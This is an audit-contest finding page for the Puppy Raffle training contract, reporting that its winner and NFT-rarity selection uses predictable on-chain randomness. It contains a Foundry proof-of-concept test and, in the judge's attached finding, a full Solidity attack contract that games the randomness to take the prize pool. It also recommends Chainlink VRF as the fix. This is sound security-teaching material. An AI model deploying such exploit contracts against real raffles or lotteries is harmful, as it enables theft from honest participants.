Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Predictable Randomness Allows Attacker to Manipulate Winner Selection and NFT Rarity

Description

The PuppyRaffle::selectWinner function uses on‑chain values (msg.sender, block.timestamp, block.difficulty) to determine both the winner index and the NFT rarity. These values are predictable and/or manipulable by miners or attackers. An adversary can brute‑force an address that guarantees they will be selected as the winner and receive the legendary NFT.

// Root cause in selectWinner()
uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
// ...
uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;

Risk

Likelihood: High – every raffle round is vulnerable.

Impact: Complete loss of fairness; attacker wins all prize pools and legendary NFTs. Honest participants have zero chance.
Impact:

  • Complete loss of fairness – The attacker guarantees they will win the raffle and receive the legendary NFT, while honest participants have zero chance.

  • Financial loss – The attacker collects the prize pool (80% of entrance fees) that should have been distributed randomly. The remaining 20% goes to the fee address, but the attacker still obtains an unfair profit and a highly valuable NFT.

Proof of Concept

The following test (already present in the codebase) demonstrates the exploit:

function testExploitDualWeakRandomness() public {
// 1. Find a "lucky" address that will win and get legendary
address luckyExploitAddress;
uint256 targetsTimestamp = block.timestamp + duration + 1;
for (uint160 i = 1; i < 1000; i++) {
address candidate = address(i);
uint256 predictedWinnerIndex = uint256(
keccak256(abi.encodePacked(candidate, targetsTimestamp, block.difficulty))
) % 4; // assumes attacker will be the 4th player (index 3)
uint256 rarityRaw = uint256(
keccak256(abi.encodePacked(candidate, block.difficulty))
) % 100;
if (predictedWinnerIndex == 3 &&
rarityRaw > (puppyRaffle.COMMON_RARITY() + puppyRaffle.RARE_RARITY())) {
luckyExploitAddress = candidate;
break;
}
}
require(luckyExploitAddress != address(0), "Increase loop bound");
// 2. Three legitimate players enter
address[] memory setupPlayers = new address[](3);
setupPlayers[0] = playerOne;
setupPlayers[1] = playerTwo;
setupPlayers[2] = playerThree;
puppyRaffle.enterRaffle{value: entranceFee * 3}(setupPlayers);
// 3. Attacker enters with the pre‑computed lucky address (becomes player 4)
address[] memory attackerArray = new address[](1);
attackerArray[0] = luckyExploitAddress;
puppyRaffle.enterRaffle{value: entranceFee}(attackerArray);
// 4. Fast‑forward to end of raffle
vm.warp(targetsTimestamp);
vm.roll(block.number + 1);
// 5. Attacker calls selectWinner()
vm.prank(luckyExploitAddress);
puppyRaffle.selectWinner();
// 6. Assertions pass – attacker wins and gets legendary NFT
assertEq(puppyRaffle.previousWinner(), luckyExploitAddress);
uint256 actualRarity = puppyRaffle.tokenIdToRarity(0);
assertEq(actualRarity, puppyRaffle.LEGENDARY_RARITY());
}

Run the test:

forge test --match-test testExploitDualWeakRandomness -vvvv

The output shows the test passes ([PASS]), logs the attacker’s address (0x...D2), and confirms the obtained rarity is 5 (legendary). The trace reveals that selectWinner() sends the prize pool to the attacker and mints the legendary NFT.

Recommended Mitigation

Replace all on‑chain randomness with a verifiable random function (VRF) like Chainlink VRF. Do not use block.timestamp, block.difficulty, or msg.sender for security‑critical randomness.

- uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
- uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
+ // Use a secure VRF (e.g., Chainlink VRF) to obtain a single random number
+ // uint256 randomNumber = requestRandomness();
+ uint256 winnerIndex = randomNumber % players.length;
+ uint256 rarity = (randomNumber >> 128) % 100;
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 6 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!